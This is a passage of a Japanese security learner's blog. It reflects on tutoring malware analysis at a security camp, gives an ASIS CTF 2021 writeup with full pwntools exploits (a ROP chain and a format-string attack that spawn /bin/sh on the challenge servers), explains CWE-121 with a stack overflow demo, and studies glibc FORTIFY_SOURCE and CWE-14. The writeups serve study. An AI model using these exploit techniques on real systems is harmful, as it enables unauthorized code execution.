次にghidra scriptを用いてresolve_apiでどのapiを呼び出しているかわかりやすくしようというハンズオンがありました。ChaCha20のdecryptをするghidra scriptを書いてどのapiを呼び出しているのかを特定するという一つ目のステップと、多数の変数を手でrenameなんてしたくないので、各apiの名前のフィールドをもつ構造体をCのヘッダーファイルの形で定義して、復号するためのバイト列を格納している配列へその構造体を適用することで一気にresolve_apiの第一引数のバイト列が各apiの名前として表示されるようにするという二つ目のステップがあり、なかなかに大変でしたね。

ここまで書いていて思ったんですが、この関数だとかその構造体だとか、対応するコードが示されていないとなんだかよくわかりませんね。実際にはこの後も、configもChaCha20で復号されてから使われているからそのdecryptのghidra scriptを書こう、等の複数のハンズオンがあり、また、マルウェアの挙動としてもEtwEventWriteの多分エントリーポイントを機械語片で書き換えて無力化したりとか面白い内容があって、受講生とああでもないこうでもないと一緒になって解析を進めたわけですが、今回はここまでにして未来の自分が書くwriteupに任せようと思います。

  • 事後の感想

マルウェア解析に挑む人として、学ぶものは多かったです。というか、去年の録画受講では逃していたエッセンスを今回補うことができたという感じです。特にもっと時間に追われながら、解析に臨むべきですね。そうしないと、重要なとこだけサッと理解する力が身につかない。また、Cryptoにノータッチな状態ではありますが、マルウェアの難読化やパックに使われがちな暗号アルゴリズムくらいはサラッと学ぶべきだと気付かされました。

チューターとしても、もっとマルウェアと戯れている状態であったなら、より多くの有効なアドバイスや小話を挟めたりして、受講生により良い学びの機会を提供できていたのではないかという思いがあります。

まとめ

C2C3, C6C7等中途半端な記事を出してしまって申し訳ないです。10月から大学に復学してアップアップしており、そんな中で何も出せていないことが余計重石になっていたのでとりあえずブログを出すことには出したという気持ちです。writeupは完全理解した未来の自分がきっと書いてくれるはず。C1は受講生から問題のwriteup欲しいよって声があったら、あるいは、1ヶ月くらいたったら書いて出そうと思います。

後は、seccampで受講生の皆さんがかなりCTFに興味を持っているということで、TSGのyoutubeチャンネル東京大学TSG - YouTubeでpwnの導入動画を出そうと思っています。これは僕がsig-beginners-pwnという名前で2回ほどTSG内で開催したもので、ここに書くからには(編集とかのクオリティはお察しですが)ちゃんと出したいと思っていますが、嘘になったらごめん。チャンネル登録をしてもらえるとやる気が出るのでお願いします。少なくとも今年の駒場祭でまたLive CTF等があると思うのでよろしくお願いします。

ASIS CTF 2021 Writeup

seccamp後の活動として、参加したCTFのwriteupを書いていくことが決定したので早速書いていこうかと思います。 ASIS CTF 2021にチームTSGで参加をしました。自分は本番中にJust pwn itを解き、終わった後直ぐにABBRも解けたのでこの二つのexploitコードを共有しようと思います。

Just pwn it (pwn)

static linkedなバイナリです。

 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

justpwnit()内で呼び出されたset_element()内で"Index: "に0を入れて一周ループを回した際の状況を整理します。(2回目の"Index: "には1を入れました。)

text

# set_element()
...
│       └─> 0x00401182      8b45ec         mov eax, dword [var_14h]
│           0x00401185      4898           cdqe
│           0x00401187      488d14c50000.  lea rdx, [rax*8]
│           0x0040118f      488b45d8       mov rax, qword [var_28h]
│           0x00401193      488d1c02       lea rbx, [rdx + rax]
│           0x00401197      be80000000     mov esi, 0x80               ; rsi
│           0x0040119c      bf01000000     mov edi, 1           #;-- rip:0x004011a1 b    e85a030000     call sym.calloc             ; void *calloc(size_t nmeb, size_t size)
│           0x004011a6      488903         mov qword [rbx], rax
...

register

rax = 0x7fff239bf440
rbx = 0x7fff239bf448
rcx = 0x0040c288
rdx = 0x00000008
r8 = 0x7fff239bf1df
r9 = 0x00000000
r10 = 0x00409000
r11 = 0x00000202
r12 = 0x7fff239bf4c8
r13 = 0x7fff239bf4d8
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00000080
rdi = 0x00000001
rsp = 0x7fff239bf400
rbp = 0x7fff239bf430
rip = 0x004011a1
rflags = 0x00000246

stack

#- offset -      0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7fff239bf400  0000 0000 0000 0000 40f4 9b23 ff7f 0000  ........@..#.... 
0x7fff239bf410  0000 0000 0000 0000 3f3d 4000 0100 0000  ........?=@.....
0x7fff239bf420  0000 0000 0000 0000 3d12 4000 0000 0000  ........=.@.....
0x7fff239bf430  70f4 9b23 ff7f 0000 2f12 4000 0000 0000  p..#..../.@.....
# set_element()に飛んだ際のsaved rbp, saved RIPがここに格納されている
0x7fff239bf440  5050 f23a a77f 0000 0000 0000 0000 0000  PP.:............
# Indexで0を指定した結果callocの返り値はここに格納された
0x7fff239bf450  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff239bf460  0000 0000 0000 0000 0000 0000 0100 0000  ................

set_element()内でcallocによってバッファがとられていますがその返り値はrbxのアドレスの指す領域に格納されます。このrbxの値はqword[rbp-0x28]+qword[rbp-0x14]*8の値が入れられており、rbp-0x28にはstackの領域のアドレスが、rbp-0x14にはset_element()内で"Index: "として入力した数字が入っています。これは、justpwnit()内でローカル変数領域に作ったポインタを格納する配列を、callocで取ったバッファのアドレスを格納するための配列としてset_element()内で扱っているからこのようなバイナリになっているわけですが、indexとして入力する数字に何ら制限を加えていないので、配列外のstack領域に対してcallocの返り値を格納することができてしまいます。

callocの返り値を入れると嬉しい領域はズバリsaved rbpの格納されている領域です。"Index: "に-2を指定することで実現されます。これによってset_element()からreturnする際にleave命令によってrbpがバッファのアドレスを指すようになるわけですが、その状態でさらにset_element()の呼び出し元ルーチンであるjustpwnit()内の有限ループを抜けてleave命令に到達したときにrbpの値はrspに代入されます。最終的にバッファの先頭アドレスがstackのtopに位置する状態になるので、予めバッファの中にROPのpayloadを組んでおけばROPが発火するというわけです。

exploitコード

static linkedなのでROP内ではexecveシステムコールによって/bin/shを起動することを目指します。これを実現するために、0x68732f6e69622fという値(asciiで見ると/bin/sh、リトルエンディアンに注意)をraxにpopし、rw可能領域のアドレスをrdiにpopし、qword[rdi], raxガジェットを実行することによってrdiに/bin/shの文字列を指すポインタが入っている状況を作り出す、という方法をとったために「rdiのポインタが指す文字列は/bin/sh\x00のように絶対pathでないといけない」というexecveシステムコールがうまくいくための条件に気が付きませんでした。それゆえにABBRに置いて悲しいことが起きるわけですが。

from pwn import *

elf = ELF('./justpwnit')

io = remote('168.119.108.148', 11010)
#io = process('./justpwnit')

pop_rdx_addr = 0x403d23
pop_rsi_addr = 0x4019a3
pop_rdi_addr = 0x401b0d
pop_rax_addr = 0x401001
mov_qword_addr = 0x401ce7
syscall_addr = 0x4013e9

def exploit(payload):
    for i in range(3):
        io.recvuntil('Index: ')
        io.sendline('0')
        io.recvuntil('Data: ')
        io.sendline('a')

    io.recvuntil('Index: ')
    io.sendline('-2')
    io.recvuntil('Data: ')
    io.sendline(payload)

payload1 = p64(0x0)
payload1 += p64(pop_rdx_addr)
payload1 += p64(0x0)
payload1 += p64(pop_rsi_addr)
payload1 += p64(0x0)
payload1 += p64(pop_rdi_addr)
payload1 += p64(0x40c030)
payload1 += p64(pop_rax_addr)
payload1 += p64(0x68732f6e69622f) # /bin/sh
payload1 += p64(mov_qword_addr)
payload1 += p64(pop_rax_addr)
payload1 += p64(0x3b)
payload1 += p64(syscall_addr)
exploit(payload1)
io.interactive()

ABBR (pwn)

static linkedなバイナリです。

 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

fgetsからは0x1000バイト分しか入力することができませんが、english_expand()にて省略として認識される文字列をrules.hの文字列に置き換えてmemcpyされるので、callocで取られた0x1000サイズのバッファを超えて書き込むことができます。またバッファの下には関数ポインタがありenglish_expand()のアドレスが入っていますが、ここを書き換えることで次のループの際に、main関数の中のアドレス0x402028にてrdxにその値が読みだされ0x402036にてcall rdxが実行された際にRIPを任意の場所へと持っていくことができます。

ここでいったんアドレス0x402036のcall rdxの際のstackとレジスタの値を整理しておきます。

text

# main()
...
│ │╎ 0x00402024 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x00402028 488b10 mov rdx, qword [rax]
│ │╎ 0x0040202b 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x0040202f 488b4008 mov rax, qword [rax + 8]
│ │╎ 0x00402033 4889c7 mov rdi, rax
│ │╎ #;-- rip:
│ │╎ 0x00402036 b ffd2 call rdx
...

register

rax = 0x00eb5b70 # バッファの先頭アドレス
rbx = 0x00400530
rcx = 0x00459e62
rdx = 0x00401da5 # 関数ポインタに格納されている値
r8 = 0x00eb5b70
r9 = 0x00000000
r10 = 0x0049e522
r11 = 0x00000246
r12 = 0x004030e0
r13 = 0x00000000
r14 = 0x004c9018
r15 = 0x00000000
rsi = 0x004c9943
rdi = 0x00eb5b70 # バッファの先頭アドレス
rsp = 0x7ffc74bb09c0
rbp = 0x7ffc74bb09d0
rip = 0x00402036
rflags = 0x00000212

stack

#- offset -     0 1  2 3  4 5  6 7  8 9  A B  C D  E F 0123456789ABCDEF
0x7ffc74bb09c0 0000 0000 0000 0000 806b eb00 0000 0000 .........k......
# 0x7ffc74bb09c8 -> 関数ポインタの存在するアドレス
0x7ffc74bb09d0 4030 4000 0000 0000 7028 4000 0000 0000 @0@.....p(@.....
# 0x7ffc74bb09d8 -> main関数のreturn address
0x7ffc74bb09e0 0000 0000 0000 0000 0000 0000 0100 0000 ................
0x7ffc74bb09f0 080b bb74 fc7f 0000 781f 4000 0000 0000 ...t....x.@.....
# 0x7ffc74bb09f0 -> stack上を指すポインタ
0x7ffc74bb0a00 0000 0000 0000 0000 0000 0000 1700 0000 ................
0x7ffc74bb0a10 7100 0000 0000 0000 0000 0000 7000 0000 q...........p...
0x7ffc74bb0a20 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a30 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a40 0000 0000 0000 0000 0000 0000 0000 0000 ................

まず始めに考えたことは、適当なガジェットに飛ばすことでJust pwn itと同じようにRSPにバッファの先頭アドレスを格納することでしたが、よさげなガジェットを見つけることができなかったことや、RSPをバッファの先頭に飛ばしたところでnull文字をfgetsで入力できない以上バッファにROPを組み立てるのが難しそうなことから断念しました。ここで、個人的に詰まっていたんですが、カービーさんから「一応Format String Attack (FSA)ができるよ。」と教えてもらったのでそれで何とかすることにしました。

ここでFSAができる理由ですけれども、関数ポインタをprintf()のアドレスに書き換えると、printf()はrdiに格納されているアドレスを第一引数の書式指定文字列へのポインタとして認識するので、0x402036のcall rdxの際の状態を考えるとcallocで取られたバッファに格納されている文字列がそこに対応するようになるわけですね。よって今後はmain関数の毎回のループで1回FSAができるわけです。FSAでは%pを使ったstack上の値のリークと%c%nまたは%c%hnを使った値の書き込みができます。%nはstack上にある該当する値をアドレスとして参照し、バッファに出力したバイト数分をそこに書き込むわけです。つまり、この時点でWrite What Where (www)コンディションにあるわけです。

後は、FSAでstack上のアドレスと関数ポインタのアドレスをリークし、main()のリターンアドレスの格納されているところを起点としてFSAで地道にROPを組み立て、最後にFSAによって再度関数ポインタをmain()のleave命令のところへと書き換えるとROPが発火するということになります。static linkedでsystem関数等は存在しませんのでexecveシステムコールを呼ぶようにします。syscallの際にrdiには"/bin/sh\0"の文字列が格納されているアドレスが入っている必要がありますが、幸いcall rdxの際にrdiはバッファのアドレスが入っているのでROP発火の直前のfgets()にて"/bin/sh\0を入力すればよいです。execveシステムコールの場合は絶対pathを渡してあげる必要があって、/bin/shの文字列の最後にnull文字をつけるのはマストであることを知らなかったので時間に間に合いませんでした。(完ぺきな状態でsyscallを呼べているはずなのに動かなくてヘルプを求めたところ、モラさんが教えてくれました。)

exploitコード

ROPを組む際に%nで入力してるはずなのに8byteまるまる書き込まれなかったので、もともと値が入っている場所はpopのガジェットで全部取り除きました。後になって冷静に考えてみると、%hnが2byte書き込みなので%nは4byte書き込みなんですかね。後でチェックします。

FSAにおいて%7$pには関数ポインタのアドレスが、%12$pにはstack上のアドレス(%47$p)が、%47$pにはこれまたstackのアドレスが入っています。%hnを%12$pに対して行うことで%47$pにstackの任意のアドレスを格納し、次に%47$pに%nを行ってstackの任意のアドレスに対して任意の値を格納しています。

from pwn import *

elf = ELF('./abbr')
#io = process('./abbr')
io = remote('168.119.108.148', 10010)

ret_addr = 0x493d1a
three_pop_addr = 0x48caba
pop_rsi_two_pop_addr = 0x45d0a1
pop_rax_addr = 0x45a8f7
pop_rdx_addr = 0x4017df
syscall_addr = 0x473156

def send_percent(payload):
    io.recvuntil('Enter text: ')
    io.sendline(payload)

def change_heap_pointer(value):
    payload = '%' + str(value) + 'c%7$n'
    print(payload)
    return payload

def make_payload_value(value):
    payload = '%' + str(value) + 'c%47$n'
    print(payload)
    return payload

def make_payload_offset_hn(offset):
    payload = '%' + str(offset) + 'c%12$hn'
    print(payload)
    return payload

def make_rop(offset, value):
    send_percent(make_payload_offset_hn(offset))
    send_percent(make_payload_value(value))

# Change english_expand -> printf

io.recvuntil('Enter text: ')
io.send('www'*257)
io.sendline(p64(0x410ee0))

# Get heap address

send_percent('%7$p')
heap_addr = io.recvline()
print('heap_addr is ' + heap_addr)
heap_addr = int(heap_addr, 16)

# Get stack address

send_percent('%12$p')
base_addr = io.recvline()
base_addr = hex(int(base_addr, 16) - 0x130)
print('base_addr is ' + base_addr)

# FSB offset

base_offset = '0x' + base_addr[-4:]
print('base_offset is ' + base_offset)
base_offset = int(base_offset, 16)

# Set ROP

make_rop(base_offset, pop_rsi_two_pop_addr)
base_offset += 32
make_rop(base_offset, ret_addr)
base_offset += 8
make_rop(base_offset, three_pop_addr)
base_offset += 32
make_rop(base_offset, pop_rax_addr)
base_offset += 8
make_rop(base_offset, 59)
base_offset += 8
make_rop(base_offset, pop_rdx_addr)
base_offset += 16
make_rop(base_offset, syscall_addr)

send_percent(change_heap_pointer(0x40205c))

io.recvuntil('Enter text: ')
io.sendline('/bin/sh\0')

io.interactive()

まとめ

先輩方がもっと難しいpwnの問題等を通していたおかげで、TSGは全体で25位でした。僕がABBRを通していれば2つほど順位が上だったので、惜しかったなという気持ちであります。 userlandのstackがらみのpwnの問題は取り掛かれるようになってきたので、次はuserlandのheapのbinsがらみのお話をきちんと勉強していきたいですね。

(CWE-121)スタックベースのバッファオーバーフロー脆弱性

原文: CWE - CWE-121: Stack-based Buffer Overflow (4.4)

脆弱性の概要

スタック上のバッファが上書きされる脆弱性

 実行時のスタックには任意のコードを実行できる要因となり得るいくつかの重大なデータが存在している。最も有名なのはstored return addressで、return addressとは、現在実行中の関数が実行を終えた後にその次に実行されるべきメモリのアドレスである。攻撃者はその値を「実行したい任意のコードを置く用の、書き込むことのできるメモリ」のアドレスの値へと書き換える。もしくは、スタック上の引数を呼び出す関数用に調整するとともに、POSIXのsystem()のような重大な関数のアドレスへと書き換える。後者の攻撃は、呼び出し元に戻る際プログラムにlibcのルーチンにジャンプするよう強いることから、「a return into libc exploit」と呼ばれる。他に重要なスタック上のデータとしてstack pointerとframe pointerがあり、これら二つの値はスタックをコンピュータが操作するためのオフセットである。この二つの値を特定することは「write-what-where」1状態を導く一助となることがある。

関連する脆弱性

child of 

TODO:上の脆弱性の内容もブログにまとめてその記事のリンクをここに貼る

脆弱性が生まれるタイミング

  • 実装段階

プラットフォーム

この脆弱性によって起こるセキュリティの侵害

 大抵バッファオーバーフローはプログラムをクラッシュさせる。他にもプログラム中に無限ループを作るなど、可用性を侵害する攻撃を生み出し得る。また、バッファオーバーフローによって、プログラムの暗黙のセキュリティポリシーの範囲を超えたところで任意のコードを実行できるようになることがある。任意コード実行ができると他のセキュリティ機構も侵害し得る。

対策

  • ビルドしてコンパイルする際にバッファオーバーフローを検知して改善したり除去したりするようなコンパイラやその拡張機能を使う。例えばthe Microsoft Visual Studioの/GSオプション、Fedora/Red HatのFORTIFY_SOURCEオプション、StackGuard、ProPoliceなど。
  • 抽象ライブラリをつかってリスキーなライブラリを取り除く。(根本的な解決方法ではない)
  • StackGuard、ProPolice、Microsoft Visual Studioの/GSオプション等のコンパイラベースのカナリー機構を取り入れる。(自動で境界をチェックするだけなので完璧な対策ではない)
  • 入力に対する境界のチェックを実装して機能させる。
  • getsのような脆弱な関数を使わず境界チェック機能のある関数を使う。
  • ASLRのようなOS-levelでのセキュリティ機構を使う。(根本的な解決方法ではない)

脆弱性の再現

 ubuntu20.04にて検証を行いました。

//sample1.c
#include <stdio.h>
#include <stdlib.h>
#define BUFSIZE 256
void win()
{
    system("cat flag.txt");
}

int main(int argc, char **argv)
{
    char buf[BUFSIZE];
    gets(buf);
    return 0;
}

 gets()はNULL文字が読み込まれるまで際限なくバッファに入力を格納してしまうのでバッファのサイズを超えてスタックに書き込むことができてしまいます。他にもscanf("%s",)もほぼ同じ性質を持っています。まずはバッファオーバーフローの触りとしてこのプログラムの実行をwin()に移して同じディレクトリに作ったflag.txtを読み込むことにチャレンジします。問題の単純化のために様々なセキュリティ機構をオフにします。尚、このwin関数という表記はpwnable.xyzを参考にしましたが、プログラム自体は自作です。

$ gcc sample1.c -o sample1 -no-pie -fno-stack-canary

checksec.shをつかって念の為確認すると

 RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

canaryとPIEがオフになっています。

 さて、スタックはアドレスの高いところから低いところへと伸長していくメモリ領域です。引数がスタックに積まれた後、call命令で呼び出す関数のアドレスにジャンプするときに、命令を実行する時のレジスタripの値をスタックに格納してからジャンプします。当然rspの値は8bytes分小さくなります。次に、飛んだ先の関数でpush rbp、つまりrbpの値をスタックに保存します。このときもrspの値は8bytes分小さくなります。次にrbpにrspの値を代入します。その後、飛んだ先の関数のローカル変数用の領域をrspの値を更に減ずることで作り今後はそこに値を出し入れするわけです。今回のgets用のバッファはmain関数のローカル変数領域にあります。つまり、スタック上ではアドレスの高い方から、main関数を実行する直前のripの値8bytes、同じく直前のrbpの値8bytes、256bytesのバッファ、という順番に並んでいます。これを順にstored return address、stored rbp value、bufferと呼びます。

 関数を終了する際は、逆の手順が行われます。rspの値を足してローカル変数領域をスタックから消して(入ってる値そのものは消えませんがスタック上のデータとしてアクセスすることはできない状態にする)、pop rbpでスタックからrbpの値を復元し、その次にスタックに入っているはずの8bytesの値をstored return addressとして認識し、ret命令によってそのアドレスに実行を移すわけです。これら一連の流れはまさにアセンブラのコードそのもので、gdbやradare2などを使って確認することができます。

 ということはret命令を実行する前にそのstored return addressの値を任意の値に書き換えてしまえば、任意のアドレスに実行を移せる筈です。その書き換えを引き起こす一つの手段が本題のバッファーオーバーフローです。バッファオーバーフローはバッファとして用意した領域を乗り越えて値を書き込んでしまいます。x86_64では溢れ出した値はスタック上のバッファより高位アドレスを書き換えます。つまりバッファに257bytesをいれると、257bytes目の値はstored rbp valueのLSB(ここでは最下位バイトの意)を書き換えてしまうのです。また、特別なセキュリティ機構を設けない限りこれを検知することはできません。スタックは関数の呼び出しに応じて変化し、プログラム実行中に値の書き込みが頻繁に行われているので、書き込み不可領域は普通は存在しないからです。

 さてそれでは実際にstored return addressを書き換える入力を送ってみましょう。256+8bytes入力することでstored rbp valueまで書き換えられ、その次に意味をなすアドレスの値を8bytes送ればメイン関数からretする時に、その値をreturn addressとして解釈するはずです。リトルエンディアンであることに注意し、また、win関数の中でsystem関数が呼ばれていてsystem関数ではmovaps命令が呼ばれているので、スタックを16bytesでalignする必要があります。まずreadelfコマンドでwin関数のアドレスを確認します。

$ readelf -s sample1

 今回はwin関数のアドレスは0x401156でした。もしスタックが16bytesでalignされている状態であれば

$ python2 -c 'print "a"*264 + "\x56\x11\x40\x00\x00\x00\x00\x00" ' | ./sample1

としてflag.txtの中身が表示されるはずですが、segmentation faultで落ちました。ということで、途中にret命令しかないアドレスを挟むことでスタック上を16bytesにalignします。つまりスタック上にはstored return addressが2つ続けて積まれている状態を作り、最初のstored return addressはret命令の入っているどこかの領域のアドレスを入れます。そうするとret命令→ret命令→任意のアドレス(今回はwin関数のアドレス)という順番になり、まわりまわってsystem関数の中のmovaps対象の値のスタック上の位置も8bytesずれて16bytesでalignされているアドレスになるはずです。今回、メイン関数のret命令のアドレスはradare2で確認すると0x4011a3でした。最終的には

$ python2 -c 'print "a"*264 + "\xa3\x11\x40\x00\x00\x00\x00\x00" + \x56\x11\x40\x00\x00\x00\x00\x00" ' | ./sample1

とすればflag.txtの値を見ることができるはずです。尚、python2を使っているのは文字列とバイト列を足す際、python3だと型が違うと怒られてしまうからです。

対策に対する実験

 それでは、紹介されている対策を順に実行して、それに弱点はないのか見ていこうと思います(ほんのちょっとしかやっていません。)。まず、FORTIFY_SOURCEオプションを使ってみます。どうやらFORTIFY_SOURCEオプションは最適化オプションと一緒に使うみたいです。(以下のURLを参照)

Man page of FEATURE_TEST_MACROS

$ gcc sample1.c -o sample1-1 -fno-stack-protector -no-pie -D_FORTIFY_SOURCE=2 -O1 -Wall

 結果としてはオプションをつけていないときとつけたときでコンパイル時の警告の内容はあまりかわりませんでした(と、この時点では思っていました)。gets()がやばい関数だというのは有名で、なんのオプションを指定せずともgetsを使うなと言う警告が出ます。gets()の代わりにscanf()を使うとFORTIFY_SOURCEオプションをつけている時に新たに警告が出ましたが、それもscanfの返り値を使っていないというよくある警告でした。この場合はあまり関係ないですが(と、この時点では思っていました)、system関数の返り値も使っていないという警告も出ていました。バッファオーバーフローに関する警告は特になく、このオプションをつけた後もバッファオーバーフロー脆弱性そのものは実行することができました。しかし、上のURLのmanページによると

_FORTIFY_SOURCE が 1 に設定された場合、コンパイラの最適化レベルが 1 (gcc -O1) かそれ以上であれば、規格に準拠するプログラムの振る舞いを 変化させないようなチェックが実行される。 _FORTIFY_SOURCE が 2 に設定された場合、さらなるチェックが追加されるが、 規格に準拠するプログラムのいくつかが失敗する可能性がある。 いくつかのチェックはコンパイル時に実行でき、コンパイラの警告として 表示される。他のチェックは実行時に行われ、チェックに失敗した場合 には実行時エラーとなる。

とあるので何かしらのチェックが走っているはずですので、それがどのようなチェックなのか確認します。woboqのglibcを見てみました。

userspace/glibc/ Source Tree - Woboq Code Browser

 _FORTIFY_SOURCEが2で設定されているとき、__USE_FORTIFY_LEVELが2で定義されます。この__USE_FORTIFY_LEVELが使われている箇所はglibcでは74箇所あり(2021/3月現在)それをすべて調べれば何を検出するのかわかるはずです。

<stdlib/bits.stdlib.h>を理解してみる

 たとえば<stdlib.h>のなかでは、_USE_FORTIFY_LEVEL>0かつ__fortify_functionが定義されていたとき、<bits/stdlib.h>をincludeし、結果として<stdlib/bits/stdlib.h>がincludeされるようです。

__fortify_functionは、ファイル中で#define __fortify_functionと定義すると、

sample1.c:3: warning: "__fortify_function" redefined
    3 | #define __fortify_function
      | 
In file included from /usr/include/features.h:461,
                 from /usr/include/x86_64-linux-gnu/bits/libc-header-start.h:33,
                 from /usr/include/stdio.h:27,
                 from sample1.c:1:
/usr/include/x86_64-linux-gnu/sys/cdefs.h:356: note: this is the location of the previous definition
  356 | # define __fortify_function __extern_always_inline __attribute_artificial__

と表示されるのでstdio.h等ですでにdefineされているようです。

そして<stdlib/bits/stdlib.h>中でいくつかの関数がバッファオーバーフローを検知する機能を備えた関数へと変化しています。これらの関数の変化を理解するには__REDIRECT_NTH()と__NTH()という関数の仕様を知る必要があるようです。__REDIRECT_NTH()はglibc/misc/sys/cdefs.hの中で定義されていて

/* __asm__ ("xyz") is used throughout the headers to rename functions
   at the assembly language level.  This is wrapped by the __REDIRECT
   macro, in order to support compilers that can do this some other
   way.  When compilers don't support asm-names at all, we have to do
   preprocessor tricks instead (which don't have exactly the right
   semantics, but it's the best we can do).

#if defined __GNUC__ && __GNUC__ >= 2
# define __REDIRECT(name, proto, alias) name proto __asm__ (__ASMNAME (#alias))
# ifdef __cplusplus
#  define __REDIRECT_NTH(name, proto, alias) \
     name proto __THROW __asm__ (__ASMNAME (#alias))
# else
#  define __REDIRECT_NTH(name, proto, alias) \
     name proto __asm__ (__ASMNAME (#alias)) __THROW
# endif

となっています。 __THROWというのは

For C++ programs we add throw()
   to help it optimize the function calls. 

# if !defined __cplusplus && __GNUC_PREREQ (3, 3)
#  define __THROW        __attribute__ ((__nothrow__ __LEAF))
#  define __NTH(fct)        __attribute__ ((__nothrow__ __LEAF)) fct
# else
#  if defined __cplusplus && __GNUC_PREREQ (2,8)
#   define __THROW        throw ()
#   define __NTH(fct)        __LEAF_ATTR fct throw ()
#  else
#   define __THROW
#   define __NTH(fct)        fct
#  endif
# endif

とあるようにC++コンパイラ用のマクロのようです。同じところに__NTH()も定義されていました。注意深くコードを読んでいくと、__REDIRECT_NTH()は、既に定義された関数を、バイナリレベルでは同じコードでありながらも別のシンボル名と別の引数で扱うようコンパイラに教える関数のようです。__NTH()はある関数が呼ばれたときに何か別の関数を代わりに使うようにしたいときの場合分けに使うみたいです。

最終的にはglibc/misc/sys/cdefs.hを次のように解釈できました。


realpath()が呼ばれたとき

  1. 「__bos(__resolvedというバッファ) == (size_t)-1」ならばrealpath()をそのまま呼ぶ

  2. 「_LIBC_LIMITS_H_とPATH_MAXが定義されていて、__bos(__resolved) < PATH_MAX」ならば、__realpath_chk_warn()を呼ぶ

  3. __realpath_chk()を呼ぶ

(__realpath_chk_warn()の__realpath_chk()と違うところは__THROWでないこと)

どの関数を呼ぶにせよ__USE_FORTIFY_LEVEL>0のとき、__wurがその関数に__warn_unused_result__属性を付加している。

__bos(ptr)は__builtin_object_size (ptr, __USE_FORTIFY_LEVEL > 1)とあり

Object Size Checking (Using the GNU Compiler Collection (GCC))

に仕様が書いてある。

__realpath_chk()では第3引数であるresolved_lenが第2引数のresolved_pathのサイズであり、これが、PATH_MAXよりも小さいと__chk_fail()が呼ばれる。これは直感的には理解できなかったが、確かにPATH_MAXより小さいとPATH_MAXの長さのパスネームを入れられたときに困る。PATH_MAXが存在しないときは実際に__realpath()を呼んでみて、取られるバッファのサイズが十分に大きいか確認している。そして、最終的にはどれも、__realpath() の実行結果を返す。

場合分けや__wurが付加されているかどうかなど細部は異なるものの、realpath()と同様にptsname_r()、mbstowcs()、wcstombs()が呼ばれるときも*_chk()や*_chk_warn()が呼ばれたりする。


以上のことを理解すると__USE_FORTIFY_LEVELが使われている74箇所は、他で呼ばれているバッファを使う何らかの関数(例えば、__realpath())を実行する前にそのバッファのサイズを確かめる処理をしているのでは?という仮説が立ちます。また、特定の関数には__wurが付加されていて、返り値を使わないとwarningを吐くようになっていると思われます。

どの関数がバッファをチェックするようになり、返り値を使うよう警告するのか(TODOです。ごめんなさい)

それらを全て確かめてみましょう。 以下の条件で、それぞれのヘッダファイルを追加でincludeするようです。


  • __USE_FORTIFY_LEVEL > 0

#include <bits/setjmp2.h>

  • __USE_FORTIFY_LEVEL > 0 && defined __fortify_function && defined __va_arg_pack_len

#include <bits/fcntl2.h>

#include <bits/mqueue2.h>

  • __USE_FORTIFY_LEVEL > 0 && defined __fortify_function

#include <bits/poll2.h>

#include <bits/stdio2.h>

#include <bits/syslog.h>

#include <bits/stdlib.h>

#include <bits/unistd.h>

#include <bits/wchar2.h>

#include <bits/socket2.h>

  • __USE_FORTIFY_LEVEL > 0 && defined __GNUC__

#include <bits/select2.h>

  • __GNUC_PREREQ (3,4) && __USE_FORTIFY_LEVEL > 0 && defined __fortify_function

#include <bits/strings_fortified.h>


TODO: 次に、各ヘッダファイルの中でどのような関数のバッファをチェックしているのか確認します。

さて、glibcの中ではどうなっているかみたところで実際にコードを書いて確かめようとおもったのですが、ここで次のようなブログを見つけました。

__attribute__(alloc_size) を使わないと_FORTIFY_SOURCE を活かせないよ。という話 : 革命の日々 その2

ここで、同じことをやるのも冗長なのでリンクを貼るだけにします。見にいってください。kosakiさん、勉強になりました。ありがとうございます。

-D-FORTIFY-SOURCE=2とすれば大半のことは解決するはずですし、何か新しい攻撃方法を知ることができたわけではないですが、自作の関数でバッファを利用するときによりセキュアなコードを書けるようになったと思います。

glibcのような巨大なプログラムを読むのは初めてで、尚且つ他作のプログラムを読むのにも慣れておらず疲れてしまったので、一旦ここでこの記事は休憩します。マクロやポインタが入り乱れていて非常に読みにくいプログラムでしたが、次に読むときにはもっとスムーズに理解できると信じています。気が向いたらStackGuardやProPliceも使ってみたり回避の方法を探ってみたりして、記事を更新します。後kosakiさんのブログにあった簡易的なプログラムの実験が非常に分かりやすかったので、見た方が良いですよ。URLを再喝しておきます。

__attribute__(alloc_size) を使わないと_FORTIFY_SOURCE を活かせないよ。という話 : 革命の日々 その2

TODO: StackGuard、 ProPolice、/GSオプション、 canary、ASLR

(CWE−14)バッファをクリアするコードをコンパイラが除去してしまう脆弱性

原文: CWE - CWE-14: Compiler Removal of Code to Clear Buffers (4.3)

 

脆弱性の概要

  ソースコードに書かれているバッファに対するクリア処理が、もう二度と読み込まない領域に対する処理であった場合、コンパイラの最適化処理の際にその該当コードを不要なものとして省いてしまう脆弱性

より詳しくは以下の状況のときに起こる。

  1. 秘密のデータがメモリ上に格納されている。
  2. そのデータのクリア処理は、中身を上書きするという方法によって行われる。
  3. ソースコードコンパイルする際に最適化オプションを指定しており、上書き処理をする関数をコンパイラは、「dead store」である、つまり今後使わない領域を書き換える関数であると解釈してその関数の存在しないファイルを吐き出す。

関連する脆弱性

child of 

CWE - CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (4.3)

TODO:上の脆弱性の内容もブログにまとめてその記事のリンクをここに貼る

脆弱性が生まれるタイミング

プラットフォーム

この脆弱性によって起こるセキュリティの侵害

 この脆弱性の結果、本来クリア処理すべきパスワードなどの極秘情報がメモリ上に残されたままになってしまい、それを攻撃者が見ることができた際、その情報を使って認証を突破するなどをされる。 

対策

  • コードの実装段階で機密情報を(可能であれば)「volatile」なメモリに格納するようにする。
  • ビルドしてコンパイルする際にコンパイラが「dead store」を取り除かないように設定する。
  • 機密情報を暗号化して格納する。

検知方法

Black Box

